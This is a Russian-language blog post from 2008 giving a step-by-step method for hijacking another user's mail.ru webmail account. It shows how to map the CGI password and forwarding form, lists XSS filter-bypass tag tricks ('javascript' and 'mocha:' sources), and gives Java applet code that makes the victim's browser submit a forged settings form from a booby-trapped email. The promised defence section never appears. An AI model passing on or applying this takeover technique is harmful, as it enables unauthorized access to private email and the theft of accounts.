Взлом почтового ящика с www интерфейсом

adm  •  15 April, 2008

(www.hotmail.com, www.mail.com, www.netscape.net в России - www.mail.ru). Web-почту "местного значения" также предлагают провайдеры, работающие по схемам "Интернет-Кард" или "Интернет-в-кредит".
Честно говоря, мне совершенно непонятны причины такого успеха. Сторонники подобных систем обычно заявляют о простоте и удобстве использования, при большей безопасности, ссылаясь на огромное кол-во вирусов и печальный пример MS Outlook и MS Outlook Express 5. Первые два аргумента, похоже, соответствуют действительности, а о безопасности поговорим чуть ниже.

В статье будет рассмотрен один из вариантов технического подхода к вскрытию почтового ящика, основанного на совместном использовании недоработок современных браузеров, принципиальных недостатках CGI, и ошибках в политике безопасности почтовых служб. Именно он чаще всего применяется в атаках на Web-почту. Для "конкретности", будет описан найденый автором метод "захвата" или "подслушивания" пользователя популярной в России системе mail.ru и способ защиты.

Существуют, конечно и другие методы, возможно лучшие, чем описанный ниже. Может, их авторы тоже поделятся своими мыслями в отзывах или напишут статью...

1. Принципиальные недостатки безопасности WWW-почты.
(Не)Надежность обычной почтовой програмы определяется (без)грамотностью её написания.

Браузер же, как система прочтения почты, изначально недостаточно безопасен, поэтому создатели почты вынуждены налагать ограничения на теги, используемые в письмах ( script ..., iframe и т.д.). Как правило, встроенный фильтр просто удаляет "небезопасные" с его точки зрения инструкции. Принципиальных недостатков у подобного подхода два: (1) слишком строгие фильтры могут повредить само письмо, да и (2) трудно предугадать заранее, на что способна безопасная с виду конструкция. Тем не менее, именно на фильтрации основаны большинство существующих почтовых систем.

Cамый же уязвимый элемент - это способ задания пользовательских настроек и пароля. Они, как правило, задаются с помощью CGI-форм (как наиболее распространённого стандарта) по тем же каналам, что используются для работы с почтой, и могут быть вызваны любым членам сети, сумевшим подделать ip и cookies пользователя, или (что гораздо проще) временно захватившим контроль над браузером.

2. Технология атаки.
Итак, мы решили перехватить контроль у пользователя xxxx почтовой системы с Web- интерфейсом, например yyyy.zz. Только убедитесь, что он действительно пользуется web-интерфейсом, а не читает почту через pop3-сервер или пользуется форвардингом.

Заводим почтовый ящик на этом же сервисе, и в первую очередь смотрим, как задаются и изменяются пароль и прочие настройки. На mail.ru (и многих других) это делает обычная форма, результаты заполнения которой передаются в CGI-скрипт

cgi-bin/modifyuser?modify

Для идентификации пользователя, похоже, используется скрытое поле

input type="hidden" name="Username" value="intst1"

Нам предоставляется вохможность изменить :

имя пользователя;
input type="text" name="RealName" value="A. V. Komlni"

адрес пересылки (форвардинга) и возможность сохранения почты при этом;
input type="text" name="Forward" value="..."
input type=checkbox name="Flags.DoNotKeepMail"

пароль;
input type="password" name="Password" value="****************"
input type="password" name="Password_Verify" value="****************"

Попробуем сформировать соответствующий файл, задав в скрытом поле имя интересующего нас пользователя и отослать форму, т.к. CGI, увы, не проверяет место нахождения формы-запроса.

form method=post action="http://koi.mail.ru/cgi-bin/modifyuser?modify"

Не получилось. Быть может, в интересующей Вас системе этого окажется достаточно, а в mail.ru такие шутки не проходят.

Значит, пользователь идентифицируется с помощью cookies или, хуже того, ip. Пробуем вручную отредактировать cookies - результат тот же. Следовательно, эту форму должен отослать сам пользователь.

Наиболее простой способ захвата контроля над браузером - внедрение script и &{ ... } конструкций в письмо - давно уже пресечён с помощью фильтров почти всеми, и mail.ru в том числе. Тем не менее, попробуйте - чем чёрт не шутит. Если теги разрешены, то фильтрация самого javascript иногда может быть обойдена при помощи средств динамической генерации кода.

Неплохой результат иногда дают конструкции вида <тег [XX]SRC=...>, например IMAGE LoSrc="javascript..."... , IFRAME SCR="about: script... ..." для IE и ilayer src="mocha:..." для NC. ("mocha" - это старый, всеми позабытый аналог модификатора "javascript", сохранившийся в NC). Вообще, чем реже используется тот или иной тег, тем больше вероятность, что разработчики забыли его офильтровать...). Недостаток этого подхода в том, что требуется знать тип и версию используемого браузера.

К сожалению (вернее к счастью), у программистов mail.ru память хорошая. В конце концов это их и подвело. Наверное, они (да и не только они, похоже) читали "умные" книжки, запомнив, что Java - одна из самых безопасных технологий в сети. Поэтому и разрешили тег Applet....

В стандарте Java есть класс AppletContext (зачем?!), позволяющий нам открывать новые окна или менять текущие.

URL myURL=new URL("http:...editprofil.html");
getAppletContext().showDocument(myURL,"_self");
getAppletContext().showDocument(myURL,"newwin");

На любой общедоступной страничке размещаем файл editprofil.html (содержащий требуемую форму), прописываем к нему путь в апплете, который размещаем там-же, и высылаем пользователю письмо, содержащее вызов апплета. Этот эксплойт не зависит от браузера, одинаково "хорошо" работая в IE и NC (не забудьте отредактировать _ПУТЬ_) .

Комментарии

Нет комментариев. Вы можете быть первым!

Оставить комментарий